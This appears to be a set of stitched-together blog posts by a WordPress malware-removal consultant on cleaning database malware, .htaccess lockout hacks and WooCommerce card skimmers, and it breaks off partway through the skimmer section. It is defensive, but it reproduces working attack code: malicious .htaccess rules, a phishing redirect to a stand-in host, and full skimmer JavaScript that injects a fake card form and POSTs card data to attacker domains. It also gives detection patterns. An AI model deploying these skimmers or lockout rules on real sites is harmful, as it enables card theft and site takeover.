Query 12 — Date-based forensics (when did the spam start?)

If you know roughly when the site got hacked, this is gold:

SELECT ID, post_title, post_status, post_type, post_date
FROM wp_posts
WHERE post_date > '2026-04-01 00:00:00'
  AND post_status = 'publish'
ORDER BY post_date ASC;

Adjust the date. Anything mass-created on the same day with weird titles is your spam batch. Don’t blanket-delete — review first, because legitimate scheduled posts can land on the same date.

Query 13 — Postmeta spam (Yoast / RankMath SEO poisoning)

SELECT post_id, meta_key, meta_value
FROM wp_postmeta
WHERE meta_value LIKE '%<script%'
   OR meta_value LIKE '%<iframe%'
   OR meta_value LIKE '%base64_decode%'
   OR meta_value LIKE '%http://%.tk%'
   OR meta_value LIKE '%http://%.xyz%';

Attackers sometimes overwrite _yoast_wpseo_title or _yoast_wpseo_metadesc so Google indexes hacked titles even when your live page looks fine.

---

Step 4: Detect Obfuscated Payloads (eval / base64 / gzinflate)

Real malware almost never sits in plaintext. It wraps itself in one or more of these PHP functions to dodge static signature scanners:

• eval( — executes a string as PHP
• base64_decode / base64_encode
• gzinflate / gzuncompress / gzdecode
• str_rot13
• str_replace (used in chained obfuscation to rebuild a function name like e+v+a+l)
• preg_replace with the /e modifier (deprecated, but still seen in old payloads)
• assert(
• create_function

And on the JavaScript side:

• String.fromCharCode
• atob(
• unescape(
• document.write
• eval(

Query 14 — Cross-table obfuscation sweep

Run each block separately. They cover the four tables where I most often find obfuscated payloads:

-- wp_options
SELECT option_id, option_name
FROM wp_options
WHERE option_value REGEXP '(eval\\(|base64_decode|gzinflate|str_rot13|fromCharCode|atob\\()';

-- wp_posts
SELECT ID, post_title, post_type
FROM wp_posts
WHERE post_content REGEXP '(eval\\(|base64_decode|gzinflate|fromCharCode|atob\\()';

-- wp_postmeta
SELECT meta_id, post_id, meta_key
FROM wp_postmeta
WHERE meta_value REGEXP '(eval\\(|base64_decode|gzinflate|fromCharCode|atob\\()';

-- wp_usermeta
SELECT umeta_id, user_id, meta_key
FROM wp_usermeta
WHERE meta_value REGEXP '(eval\\(|base64_decode|gzinflate|fromCharCode|atob\\()';

Decoding what you find

If the payload looks like this:

eval(base64_decode('aWYoaXNzZXQoJF9DT09LSUVbJ2F1dGhfdG9rZW4nXSkpey4uLn0='));

Don’t run it. Decode the inner string in a sandbox:

php -r "echo base64_decode('aWYoaXNzZXQoJF9DT09LSUVbJ2F1dGhfdG9rZW4nXSkpey4uLn0=');"

That output is the actual malware logic — usually a cookie-triggered backdoor, a redirect rule, or a remote-code-execution shell. Once you see it in plaintext, you’ll recognize the family: it’s almost always a webshell or PHP backdoor variant.

For deeper decoding workflow on JavaScript redirect malware, this walks through it end to end: The complete guide to JavaScript redirect malware detection, decoding, and removal.

---

Step 5: Match Against Named Malware Variants

This is where most generic guides stop and where 2026’s actual infections live. If you can recognize the variant, you can clean it in minutes instead of days.

Monit / wp-vcd hack signature

This one parks a row called default_mont_options in wp_options along with a fake “Monitization” plugin. Detection query:

SELECT * FROM wp_options
WHERE option_name IN (
  'default_mont_options',
  'ad_code',
  'hide_admin',
  'hide_logged_in',
  'display_ad',
  'search_engines',
  'auto_update',
  'ip_admin',
  'cookies_admin',
  'logged_admin',
  'log_install'
);

If any of those rows return data, you have the Monit/wp-vcd family. Removal:

DELETE FROM wp_options
WHERE option_name IN (
  'default_mont_options', 'ad_code', 'hide_admin', 'hide_logged_in',
  'display_ad', 'search_engines', 'auto_update', 'ip_admin',
  'cookies_admin', 'logged_admin', 'log_install'
);

Then file-side: delete monit.php, any apu.php, the Monitization plugin folder, and any admins_ip.txt in the plugins directory. Without the file removal, the rows regenerate on the next page load.

wp-compat backdoor signature

The wp-compat malware leaves a marker option _pre_user_id that’s used to regenerate a hidden admin every time the site loads:

SELECT * FROM wp_options WHERE option_name = '_pre_user_id';

Full writeup with the matching plugin folder pattern: WP-Compat plugin: the hidden backdoor in your WordPress site.

Greek text hack signature

Encoded Greek-character payloads sitting in wp_options or theme settings. Walked through here: Weird Greek text code hidden in your WordPress database.

HSEO / fake “I’m not a robot” malware

Stores a redirect trigger in options + posts to fire a fake CAPTCHA popup that pushes ClickAllow notifications. Pattern + cleanup: HSEO fake “I’m not a robot” malware.

Fetch / sengatanlebah / jasabacklink spam

Indonesian SEO spam family. Detection + removal: How to remove fetch malware from the WordPress database.

JS redirector targeting mobile

Stores a JavaScript redirect in options/postmeta that only fires on mobile user agents — desktop owners never see it, so they assume the site is fine. Full anatomy: Anatomy of a sophisticated mobile-targeted JavaScript trojan.

Backupdb_ prefix tables (Sucuri’s “clever” SEO spam)

Some attackers create parallel tables with a backupdb_wp_ prefix to store spam posts that get filtered into responses on the fly. Detection:

SHOW TABLES LIKE 'backupdb_%';
SHOW TABLES LIKE '%_lstat';
SHOW TABLES;

Anything you don’t recognize as belonging to a plugin you installed gets dropped (after you confirm by inspecting the table contents).

---

Step 6: WP-CLI Alternative (Faster on Large Sites)

If you have SSH and the database is huge, WP-CLI is dramatically faster than phpMyAdmin. Some commands I run on every cleanup:

# Search all tables for a malicious string
wp db search '<script' --all-tables

# Search with a regex for obfuscation patterns
wp db search 'eval\(|base64_decode|gzinflate|fromCharCode' --regex --all-tables

# List all admin users
wp user list --role=administrator --fields=ID,user_login,user_email,user_registered

# Delete a confirmed bad admin and reassign content
wp user delete 42 --reassign=1

# Run an arbitrary cleanup query
wp db query "DELETE FROM wp_options WHERE option_name = 'default_mont_options';"

# Export DB before cleanup
wp db export pre-cleanup-$(date +%F).sql

# Reset all auth keys/salts to invalidate stolen cookies
wp config shuffle-salts

wp config shuffle-salts is the single most underrated command in WordPress security. It rotates all eight authentication keys, which immediately logs out every session — including the attacker’s.

---

Step 7: Safely Removing What You Found

Removal is where rookies break sites. Three rules I never violate:

Rule 1: Never run a destructive query you haven’t first run as a SELECT. Convert your DELETE or UPDATE to a SELECT with the same WHERE clause. Confirm the rows. Then convert back.

Rule 2: Use search-and-replace tools for content cleanup, not raw SQL UPDATE. Better Search Replace and WP-CLI’s wp search-replace handle serialized data correctly. A naive UPDATE wp_postmeta SET meta_value = REPLACE(...) will corrupt any serialized PHP array and break Yoast settings, Elementor data, and ACF fields.

# Dry-run first
wp search-replace 'evil-domain.tld' '' --dry-run --all-tables --report-changed-only

# Then execute
wp search-replace 'evil-domain.tld' '' --all-tables --report-changed-only

Rule 3: Save the malicious payload to a text file before deleting. If the site reinfects, the same payload almost always returns. Having the original on hand makes the second cleanup 10x faster.

---

Step 8: After Cleanup — The Anti-Reinfection Checklist

Files clean + database clean is not “done.” Without this list, the malware comes back within days:

• Rotate the WordPress admin password (use 20+ random characters)
• Rotate the database password in wp-config.php
• Rotate hosting/cPanel password
• Rotate FTP/SFTP credentials
• Run wp config shuffle-salts to invalidate stolen sessions
• Force-logout every user: wp user session destroy --all-users
• Audit wp-content/mu-plugins/ (drop-in plugins load before everything else)
• Audit .htaccess for redirect rules — see The ultimate guide to removing .htaccess malware
• Check WordPress cron for rogue events
• Reinstall WordPress core, themes, plugins from official sources (don’t trust the existing files)
• Update everything to latest versions
• Submit a Search Console review if Google flagged the site — see How to remove your website from a blacklist

The full version of this checklist, with the rationale behind each step, is here: What to do after fixing a hacked WordPress site.

---

Common Mistakes I See on Botched Cleanups

Almost every “the cleanup didn’t work” call I take involves at least one of these:

1. Cleaning files but skipping the database. The reason this guide exists.
2. Deleting suspicious users via DELETE FROM wp_users. Orphans the meta and breaks content authorship. Use wp user delete.
3. Using UPDATE ... REPLACE on serialized data. Corrupts plugin settings. Use wp search-replace instead.
4. Not rotating salts. The attacker’s auth cookies still work. They walk back in.
5. Restoring an old “clean” backup without scanning it. Most backups are already infected — sites are usually compromised weeks before the owner notices.
6. Trusting the security plugin’s “clean” report. Wordfence, Sucuri, MalCare — none of them deeply scan database content. They scan files. The report is true and irrelevant at the same time.

---

FAQ: WordPress Database Malware

Can WordPress malware live entirely in the database?

Yes, and it’s increasingly common. Modern attacks store the entire payload in wp_options, wp_postmeta, or custom plugin tables, and use only legitimate WordPress code paths to execute it. File scanners report nothing wrong because nothing’s wrong with the files.

Why does my site still redirect after I deleted all suspicious files?

Because the redirect trigger is almost certainly stored in wp_options (autoloaded), in a header/footer settings field, or in postmeta. Run Query 4 above. 9 out of 10 times you’ll find it.

Which WordPress tables get hit most often?

In order: wp_options, wp_posts, wp_postmeta, wp_users + wp_usermeta, then plugin-specific tables (Yoast indexables, WooCommerce, code snippet plugins, page builders).

Is it safe to run DELETE queries directly in phpMyAdmin?

Only after you’ve (a) backed up the full database, (b) run the same WHERE clause as a SELECT first to verify the rows, and (c) confirmed the payload is genuinely malicious and not a quirky plugin setting. When in doubt, don’t.

Why does Google still show spam URLs after I cleaned the database?

Two reasons. One, Google’s index lags reality by days to weeks — old URLs stay cached. Two, your XML sitemap may still list the spam URLs. After cleanup, regenerate the sitemap, request reindexing in Search Console, and submit a Manual Action review if the site was flagged.

Can I just restore a backup instead of cleaning manually?

Only if the backup predates the infection — which most don’t. Sites are commonly compromised weeks before detection. Always scan the backup with the queries above before restoring it. And patch the original entry point first, or you’ll be reinfected within hours.

Do security plugins like Wordfence or MalCare clean the database?

Partially. Wordfence’s “Database scan” looks at a subset of tables and known signatures. MalCare scans more aggressively. Neither catches custom-named options, fresh malware variants, or sophisticated obfuscation reliably. Manual review still wins on novel infections.

How long does a database malware cleanup take?

For a single-variant infection on a small site, 1–3 hours. For a multi-variant infection on a large site (especially WooCommerce with 10K+ products), 6–12 hours. The longest cleanup I’ve done removed 242,000 Japanese spam pages — covered in this case study.

---

What Real Clients Say

“My website was suffering from some redirect malware. MD was able to take care of the problem for a reasonable fee. For me, he was a lifesaver. I will certainly go to him first should something like that happen again.” — Kendall Miller, Founder

“I’m very satisfied with MD Pabel service. He can save my site from hackers, and remove all malware attacks. Highly Recommended.” — Hassan Infinkey, eCommerce Owner

“Thanks for giving me a great support — you are a very nice team.” — Usama Javed, WordPress Agency

---

Need Manual Database Malware Cleanup?

If your site is still redirecting, showing pharma in Google, or bringing back hidden admins after every “clean” — you’ve found the limit of what file-based scanners can do. The fix is human eyes on the database, with the SQL playbook above and 4,500+ cleanups of pattern recognition behind it.

I clean WordPress sites by hand. No risky automated DELETE scripts, no false positives, no broken serialized data. Get expert WordPress malware removal →

Or if you’re just researching: my deeper guides on the specific variants are linked throughout this page. Start with how to detect WordPress malware and the complete malware removal expert guide.

If your WordPress site is suddenly throwing a 403 Forbidden error when you try to load wp-admin or wp-login.php, you’re almost certainly hit by a lockout hack — an attacker has dropped a malicious .htaccess file into your WordPress directory that tells Apache to block PHP files from running. Because your login page is a PHP file, the server refuses to load it. The fix is to access your site through FTP or your host’s File Manager, locate and remove the malicious .htaccess (or replace it with a clean one), and then perform a full malware cleanup — because the lockout is only the visible symptom of a deeper compromise.

---

You go to log in to your WordPress dashboard at yoursite.com/wp-admin, but instead of the familiar login screen you get a stark, frustrating message: 403 Forbidden.

It’s one of the most disorienting moments in WordPress site ownership. The site might still load on the front end. Other admins in your team might still be locked out the same way. Your hosting account is technically “fine” — files exist, the database is there, the domain is pointed correctly. But you can’t get in.

In my experience cleaning more than 4,500 hacked WordPress sites since 2018, the single most common cause of this exact 403 pattern is a malicious .htaccess file placed by an attacker. This guide walks you through every variant I see in the wild, how to identify which one hit your site, and how to get back in safely without making the infection worse.

---

Why Hackers Lock You Out of Your Own WordPress Site

It seems counterintuitive at first. Why would an attacker waste effort blocking you from your dashboard? They’re already inside. Wouldn’t they want to stay invisible?

The answer is that locking the legitimate owner out is a deliberate strategic move, and it serves the attacker in several ways at once:

• It prevents cleanup. If you can’t reach the dashboard, you can’t see infected plugins, rogue admin users, spam pages, or backdoors hidden in your media library.
• It buys them time. A locked-out site can keep sending spam, redirecting traffic, hosting phishing pages, or attacking other sites for days before anyone takes effective action.
• It blocks updates. If you can’t log in, you can’t update WordPress core, plugins, or themes — so the original entry-point vulnerability stays open and the attacker keeps re-entering.
• It funnels you into mistakes. Most non-technical owners react by emailing their host, restoring random backups, or deleting files in panic. All of those make a clean recovery harder.

This is why a 403 on wp-admin should not be treated as a “WordPress error to fix.” It should be treated as a compromise indicator until proven otherwise.

---

The 6 Lockout Patterns I See Most Often

The 403 error itself looks identical to the user no matter what’s causing it, but the underlying malicious code can take very different shapes. Here are the six patterns I encounter most often during WordPress malware cleanups, with real code samples for each.

Pattern 1: Block All PHP Inside /wp-admin/

This is the classic. The attacker drops an .htaccess file directly inside the /wp-admin/ folder containing this kind of rule:

<FilesMatch "\.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$">
Order allow,deny
Deny from all
</FilesMatch>

Two important things to notice:

• The casing variations are deliberate. On case-insensitive filesystems Apache will match .php regardless of case anyway, but the attacker lists all of them to be sure their rule fires across server configurations.
• A clean WordPress install does not ship an .htaccess file inside /wp-admin/. If you see one there, treat it as malicious until proven otherwise.

When this rule is active, every request for a PHP file inside the admin area — including wp-login.php, admin.php, and admin-ajax.php — gets a 403 from Apache. That’s the lockout.

Pattern 2: Site-Wide PHP Block With a Backdoor Allowlist

The more aggressive version of Pattern 1. Instead of being limited to /wp-admin/, the attacker plants the same denial rule at the site root and pairs it with an allowlist of attacker-controlled backdoor files:

<FilesMatch "\.(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index\.php|lock360\.php|wp-l0gin\.php|wp-the1me\.php|wp-scr1pts\.php|admin\.php|mah\.php|jp\.php|ext\.php)$">
Order allow,deny
Allow from all
</FilesMatch>

This rule says: “block all PHP, except this short list of files.” Some entries look almost legitimate (index.php, admin.php) so the rule doesn’t completely break the site. Others are obvious backdoors disguised with lookalike characters — wp-l0gin.php uses a zero, wp-the1me.php uses a “1” instead of an “i”, and so on.

This pattern is especially common on shared hosting accounts where the same .htaccess gets duplicated into hundreds of folders. I broke down a real example with 1,162 infected files in this Bluehost lockout case study.

Pattern 3: IP Allowlist — Only the Attacker Can Reach wp-admin

Less obvious, more elegant. The attacker drops this into /wp-admin/:

Order Deny,Allow
Deny from all
Allow from 203.0.113.45

Where 203.0.113.45 is their IP. Anyone else hitting wp-admin gets a 403. The attacker themselves walks straight in.

What makes this dangerous is that to a casual visual scan it doesn’t look malicious — it looks like a security hardening rule. Some site owners assume a previous developer added it and leave it alone. If you find an IP allowlist in your /wp-admin/ .htaccess and you don’t recognize the IP, treat it as a backdoor.

Pattern 4: User-Agent Block

A more sophisticated lockout that targets human visitors specifically:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (Chrome|Firefox|Safari|Edge|Mozilla) [NC]
RewriteCond %{REQUEST_URI} ^/wp-(admin|login\.php) [NC]
RewriteRule .* - [F,L]

This rule tells the server: “if the visitor is using a normal web browser and they’re trying to reach wp-admin or wp-login.php, return 403 (forbidden).” The attacker can still hit those pages with curl, custom scripts, or a non-standard user-agent string that isn’t on the block list.

I see this pattern most often on sites that are being used as part of a larger botnet — the attacker wants to keep automated access alive while making the dashboard unreachable from any browser.

Pattern 5: Redirect wp-login to a Fake or Malicious Page

Not technically a 403, but worth covering because it shows up in the same searches and is often confused with one. Instead of denying access, the rule redirects the request:

RewriteEngine On
RewriteCond %{REQUEST_URI} ^/wp-login\.php [NC]
RewriteRule .* https://attacker-controlled.example/fake-login.php [R=302,L]

When this is active, anyone trying to reach the WordPress login page gets bounced to a phishing clone designed to harvest credentials. Some WordPress security plugins or browsers will then return a 403 / blocked page warning, which is what users experience.

If your wp-login is “going somewhere weird” or showing a security warning instead of a clean 403, this is the pattern to suspect.

Pattern 6: HTTP Basic Auth Injection

The sneakiest one. The attacker injects this into /wp-admin/.htaccess:

AuthType Basic
AuthName "Restricted Area"
AuthUserFile /home/youruser/.fake-passwd
Require valid-user

This adds a second authentication layer — an Apache-level password prompt — before WordPress’s own login page even loads. The attacker controls the credentials in .fake-passwd. You don’t.

The result depends on the browser: some show a credential prompt that you can’t satisfy and eventually return 403; others fail straight to the 403 page. Either way, you’re locked out before you ever see WordPress.

---

How to Identify Which Lockout Pattern Hit Your Site

Before you delete anything, take 60 seconds to figure out which variant you’re dealing with. The cleanup is essentially the same across patterns, but knowing which one is active tells you a lot about what else the attacker did to your server.

1. Open FTP / SFTP or your host’s File Manager (cPanel, Plesk, etc.)
2. Navigate to your WordPress installation root (usually public_html, www, or your domain folder)
3. Open the .htaccess file in the root and look for any of the patterns above
4. Open the /wp-admin/ folder and check whether an .htaccess file exists there at all (a clean WordPress install does not have one in this folder)
5. If your hosting account has multiple sites or subdomains, check those too — the same infection commonly spreads across the account

If you find an .htaccess file inside /wp-admin/ on a default WordPress install, it is almost certainly malicious. If you find one in the root and it contains rules you didn’t write, treat it as compromised.

---

How to Regain Access (Step by Step)

Once you’ve identified the pattern, the recovery is straightforward — but the order matters. Don’t skip steps.

Step 1: Take a snapshot before you change anything

Download a copy of the malicious .htaccess file to your local machine before deleting it. You’ll want it later for two reasons:

• It’s evidence of the attack — useful if you have to involve your host or a security professional
• It often contains clues (filenames, IP addresses, redirect targets) that help locate the rest of the malware

Step 2: Replace, don’t just delete

If the malicious file is in /wp-admin/, you can simply delete it — clean WordPress doesn’t need one there.

If the malicious file is in your root .htaccess, do not just delete it. WordPress relies on the root .htaccess for permalinks. Replace it with the standard WordPress block:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Step 3: Try to log in

Reload yoursite.com/wp-admin in a fresh browser tab (or incognito window to avoid cached errors). If the lockout was the only issue, the login page should now load.

Step 4: Force every session out

The attacker may already have an active admin session. Once you can reach the dashboard, immediately rotate your WordPress security keys (the salts in wp-config.php). This invalidates every active login on the site, including any the attacker is sitting on.

---

What to Clean After You’re Back In

Removing the lockout layer is like opening the front door after a break-in. The intruder is still inside the house. Here’s the cleanup I run on every WordPress site after this kind of attack:

1. Check for unknown admin users. Go to Users → All Users and filter by Administrator role. Delete any account you don’t personally recognize. Hidden admins are one of the most common reinfection routes — I broke this down step by step in how to find and remove hidden admin users in WordPress.
2. Look for suspicious files in wp-content/. Pay special attention to fake plugin folders, recently modified theme files, and any PHP file with a name like wp-l0gin.php or lock360.php from the patterns above.
3. Reinstall WordPress core, themes, and plugins from clean sources. Don’t trust visual inspection — overwrite the files. Throw away anything nulled or cracked.
4. Scan the database. Lockout malware almost always travels with database injections. Check wp_options, wp_users, and wp_posts for foreign content. My walkthrough on scanning and cleaning your WordPress database for malware covers exactly what to look for.
5. Check scheduled tasks (cron). If a hidden cron is recreating the malicious .htaccess every hour, your “fix” won’t last.
6. Rotate every credential. WordPress admin, hosting cPanel, FTP/SFTP, the database user, and any email address that received password resets during the compromise window.

For a complete, ordered post-cleanup checklist, see what to do after fixing a hacked WordPress site.

---

Other (Non-Malware) Reasons wp-admin Might Show 403

Most of the time when I’m called in, the 403 is malware. But for completeness, these are the legitimate causes worth ruling out:

• Incorrect file permissions. If wp-admin/ is set to something restrictive like 700 instead of 755, Apache may refuse to serve files from it.
• A security plugin lockout. Wordfence, iThemes Security (now Solid Security), All In One WP Security, and others can lock an IP out after failed login attempts. If only your IP gets 403 and others can log in, this is likely.
• ModSecurity rules at the host level. Some shared hosts run aggressive web application firewall rules that occasionally false-positive on legitimate admin requests. Your hosting support can confirm.
• A genuine .htaccess rule you forgot about. If a previous developer added IP restrictions or basic auth to the admin area for legitimate hardening reasons, those can fire when your IP changes (new ISP, working from a coffee shop, traveling, etc.).

A quick way to differentiate: if you’ve recently noticed other symptoms — slowness, unexpected admin emails, spam pages indexed in Google, hosting warnings — assume malware. If the 403 appeared completely in isolation with no other signs, the non-malware causes are worth checking first.

---

Hardening to Prevent the Next Lockout

Cleaning a lockout hack only matters if you also close the original entry point. Most of the WordPress lockout cases I see started with one of these:

• A weak or reused admin password
• An outdated plugin with a public exploit
• A nulled or pirated theme/plugin (a far bigger risk than most owners realize — see why nulled WordPress plugins and themes are a security disaster)
• No two-factor authentication on WordPress or the hosting cPanel
• An abandoned WordPress install in a subfolder the owner forgot existed

If any of those describes your site, fix them this week — not after the next infection. A focused login-side hardening walkthrough is here: how to secure your WordPress login. The broader site-wide guide is how to secure a WordPress site.

---

FAQ

Why do I see 403 Forbidden only on wp-admin and wp-login.php, but the rest of my site works?

Because the malicious rule is targeted. Most lockout hacks block PHP execution specifically inside /wp-admin/ or specifically against wp-login.php, leaving the rest of the site running so the attacker can keep using it for spam, redirects, or hosting phishing pages without obvious signs.

I deleted the malicious .htaccess and the 403 came back the next day. Why?

The malware that placed the file is still on your server. The most common culprit is a backdoor PHP file or a scheduled cron task that recreates the malicious .htaccess automatically. Without finding and removing the source, you’ll see the lockout return on a regular cycle.

Is it safe to delete every .htaccess file on my site?

No. Some .htaccess files are legitimate — your root WordPress .htaccess handles permalinks, and certain plugins write to it. The safe approach is to identify which ones contain malicious rules and clean those specifically, replacing the root file with the standard WordPress block if needed.

Should I just restore from a backup instead of cleaning?

Only if you have a clean backup from before the compromise — which most owners don’t actually have, because by the time the lockout is visible the backups have usually been overwriting clean copies for days or weeks. Restoring an already-infected backup just resets you to a slightly older version of the same hack.

What if the malicious .htaccess keeps coming back even after I clean the backdoor files?

That’s a strong signal that either (a) the original entry-point vulnerability is still open and the attacker is re-exploiting it, or (b) you’ve missed a backdoor. The most common hiding places I find on reinfection cases are fake plugin folders inside wp-content/plugins/, modified theme functions.php files, and database-stored payloads. This guide on why WordPress malware keeps coming back covers the reinfection cycle in detail.

How long does a full lockout cleanup actually take?

In my experience, identifying and removing the lockout layer itself takes minutes once you know what to look for. The full cleanup — removing backdoors, auditing users, checking the database, reinstalling core/themes/plugins, and hardening — is usually a few hours of careful work for a single-site WordPress install, longer for a shared hosting account hosting multiple sites where the same infection has spread.

---

Locked Out and Need Help Right Now?

A 403 Forbidden on wp-admin is fixable in most cases — but only if you treat it as a full malware incident, not as a one-file deletion job. Removing the visible lockout without finding the underlying compromise is the single most common mistake I see, and it’s the reason these hacks come back over and over.

If your WordPress site is currently locked behind a 403, your hosting account has been flagged for malware, or you’ve already tried “just deleting the .htaccess” and the lockout returned, this is exactly the kind of cleanup I do every week. I’ve recovered more than 4,500 hacked WordPress sites since 2018, and a lockout-style infection is usually something I can clean in hours, not days.

Get Expert WordPress Malware Removal

A WooCommerce store owner contacted me after their developers spent days trying to fix a checkout problem that made no sense. Customers could add products to cart, fill in billing details, and click Place Order — but no order was created, no payment went through, and no confirmation email was sent.

Their team had already checked everything obvious: WooCommerce settings, Stripe configuration, plugin conflicts, theme conflicts, Wordfence scans, Sucuri scans, file permissions, and error logs. Everything came back clean or normal. But the store was still losing sales.

When I tested the checkout myself and opened the browser Network tab, I found the real problem. The site had been hacked with a fake WooCommerce payment form that was silently sending credit card data to an attacker-controlled domain instead of Stripe.

That case, and the real code found inside it, runs through this entire post. I will use it to explain how each type of WooCommerce credit card skimmer actually works, where it hides, and why “no malware found” does not always mean the store is safe.

If you have already confirmed an active skimmer and need urgent cleanup, start with my WordPress malware removal service.

---

What Is a WooCommerce Credit Card Skimmer?

A WooCommerce credit card skimmer is malicious code — usually JavaScript, sometimes PHP, often a combination of both — that intercepts payment data entered by customers at checkout. Unlike spam hacks or SEO injections, skimmers are built to stay completely invisible to the store owner. Their only job is to capture card numbers, expiry dates, CVV codes, and billing details and send them to an attacker-controlled server.

The term Magecart is the catch-all label for this category. It originated from attacks on Magento stores but has been heavily ported to WooCommerce since 2019. Several distinct threat actor groups — including Magecart Group 12, also known as Smilodon — now specifically target WooCommerce with purpose-built toolkits.

WooCommerce is a high-value target for a straightforward reason: it commands roughly 38.76% of all e-commerce platform market share and powers over 93% of WordPress e-commerce sites. That scale makes it the single most valuable ecosystem to compromise.

What makes these attacks especially hard to contain is that most store owners — and their developers — treat all skimmers as the same threat. They are not. A WebSocket-based skimmer behaves completely differently from a PHP server-side interceptor. A database-injected skimmer survives a full file reinstall. A cron-based reinfector restores the payload within hours of cleanup. Understanding the difference is what separates a real fix from a false sense of security.

---

The 8 Types of WooCommerce Credit Card Skimmer Malware

---

Type 1: Fake Payment Form Overlay (DOM Injection Skimmer)

This is the type I found in the case described above — and the most visually convincing attack, because it targets what the customer sees directly.

How it works: The malware injects a completely fake payment form into the checkout page DOM, typically after a short delay so it appears as the page settles. Customers see what looks like standard card input fields, type their details, and click submit. Their data goes to the attacker first. The legitimate payment flow never receives it.

Real Investigation: The fabulo.xyz Case

The store was Dutch and used iDEAL, Klarna, and Bancontact as payment options. None of those gateways ever ask customers to enter raw card numbers on the merchant’s website — they redirect to their own secure environments. Yet when I opened the checkout page in a private browser window while logged out, three card input fields had appeared below the payment method selection.

The injected HTML looked like this:

<div class="s_div1">
  <div>
    <span>Kaartnummer *</span>
    <input type="text" id="cardNum" placeholder="1234 1234 1234 1234">
    <div>
      <span>Vervaldatum *</span>
      <input id="exp" placeholder="MM / AA">
      <span>Kaartcode (CVC) *</span>
      <input id="cvv" placeholder="CVC">
    </div>
  </div>
</div>

The labels were localised in Dutch — Kaartnummer (Card Number), Vervaldatum (Expiry Date), Kaartcode (CVC) — and the styling matched the site theme closely enough that most customers would not question it. That level of polish is what made the attack convincing.

The core red flag: Card input fields appearing on a checkout that uses redirect-only gateways like iDEAL, PayPal, Stripe Redirect, or Klarna is an immediate indicator of injection. Those gateways never ask for raw card numbers on your site.

How the Skimmer Was Built — Step by Step

Step 1: Environment preparation

let isChecked = localStorage.getItem("already_checked");
let url2 = "https://fabulo.xyz/api/accept-car";
let loaded = false;

The script stored a flag in localStorage so each customer only saw the fake form once per browser session. This reduced the chance of a customer refreshing and noticing something strange had appeared.

Step 2: Fake form injected after a 5-second delay

window.addEventListener("load", e => {
  if (document.URL.includes("afrekenen") && isChecked != "1") {
    setTimeout(() => {
      let frame = document.querySelector(".woocommerce-terms-and-conditions-wrapper");
      let newDiv = document.createElement('div');
      newDiv.innerHTML += `[Fake payment form HTML]`;
      frame.appendChild(newDiv);
      loaded = true;
    }, 5000);
  }
});

The 5-second delay served two purposes: it made the form appear after the rest of the page had loaded, which felt more natural to customers, and it helped avoid detection by automated scanners that evaluate pages immediately on load. The script also checked for "afrekenen" — the Dutch word for checkout — in the URL, so it only activated on the checkout page itself.

Step 3: The real Place Order button was swapped out

setInterval(() => {
  if (loaded && isChecked != "1") {
    let checkout = document.getElementById("place_order");
    let newBtn = document.createElement("button");
    newBtn.id = checkout.id;
    newBtn.className = checkout.className;
    newBtn.addEventListener("click", clickFunc);
    checkout.parentElement.removeChild(checkout);
    checkout.parentElement.appendChild(newBtn);
  }
}, 2000);

This is why the checkout looked completely normal while the order flow was quietly hijacked. The button looked identical — same ID, same class, same label — but clicking it now ran the attacker’s function instead of WooCommerce’s.

Step 4: Card data exfiltrated, page reloaded to hide the theft

function clickFunc(e) {
  e.preventDefault();
  let dataObject = {
    card: document.getElementById("cardNum").value,
    exp: document.getElementById("exp").value,
    cvv: document.getElementById("cvv").value
  };
  fetch(url2, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ dataObject })
  }).then(res => {
    localStorage.setItem("already_checked", "1");
    window.location.reload();
  });
}

After the card data was posted to fabulo.xyz, the page simply reloaded. No error message. No order. Just a silent restart — making the failure look like a random technical glitch rather than a theft event.

This is exactly what the customer reported: “I tried to place an order three times. No confirmation email. My card wasn’t charged. What’s wrong?”

How I Found It — The Network Tab

Before I touched any server files or databases, I switched Stripe into test mode and ran through the checkout exactly as a customer would, with Chrome DevTools open.

During checkout, I saw a POST request that should never have existed:

POST https://fabulo.xyz/api/accept-car
{
  "dataObject": {
    "card": "4242424242424242",
    "exp": "12/25",
    "cvv": "123"
  }
}

Payment data was not going to Stripe. It was going to an unknown attacker-controlled domain. That single Network tab finding confirmed the entire infection in under two minutes — and it is something the developer team’s days of troubleshooting had never tried.

This is the single most important diagnostic step for any suspected WooCommerce skimmer: open the checkout page in a private window while logged out, open DevTools Network tab, and watch where your data actually goes when you click Place Order.

---

Type 2: JavaScript Event Listener / Form Interceptor

This type does not change how the checkout page looks at all. Customers complete a perfectly normal-looking checkout — and their card data is stolen silently in the background.

How it works: The malicious script attaches addEventListener hooks to checkout form fields. Every keystroke in a card number, expiry, or CVV field is captured in real time. When the customer clicks “Place Order,” the skimmer fires first and forwards the data before the legitimate gateway receives it.

// Obfuscated in real infections — readable approximation
document.querySelector('#card-number').addEventListener('input', function() {
  stolenData.cardNumber = this.value;
});

document.querySelector('form.checkout').addEventListener('submit', function() {
  fetch('https://attacker-domain.com/collect', {
    method: 'POST',
    body: JSON.stringify(stolenData)
  });
});

Real-world versions of this are heavily obfuscated — encoded with base64 or hex, reconstructed only at runtime using custom decode functions.

Three-second delay trick: Some variants attributed to Magecart Group 12 include a deliberate 3-second delay before the listener activates. This avoids conflicts with AJAX-based WooCommerce checkout forms and helps the skimmer survive automated scans that evaluate page behaviour immediately.

Admin avoidance: Sophisticated variants check for #wpadminbar in the DOM. If a logged-in admin is viewing the page, all exfiltration pauses. You will see a clean checkout. Customers will not.

Where it hides: Injected into legitimate JavaScript assets like checkout.min.js, disguised as Google Tag Manager or Google Analytics code, or loaded from an external domain designed to look like a CDN.

---

Type 3: WebSocket-Based Skimmer

WebSocket skimmers use the ws:// or wss:// protocol instead of standard HTTP requests to exfiltrate stolen data. This makes them significantly harder to detect because most network monitoring tools and browser security policies focus on HTTP traffic, not WebSocket frames.

How it works: After capturing card data from the checkout form, instead of making a fetch() or XHR POST, the skimmer opens a persistent WebSocket connection and pipes the data through that channel. Because WebSocket connections are bidirectional, the attacker can also push updated payload instructions back to the infected site in real time — effectively giving them remote control over the skimmer’s behaviour.

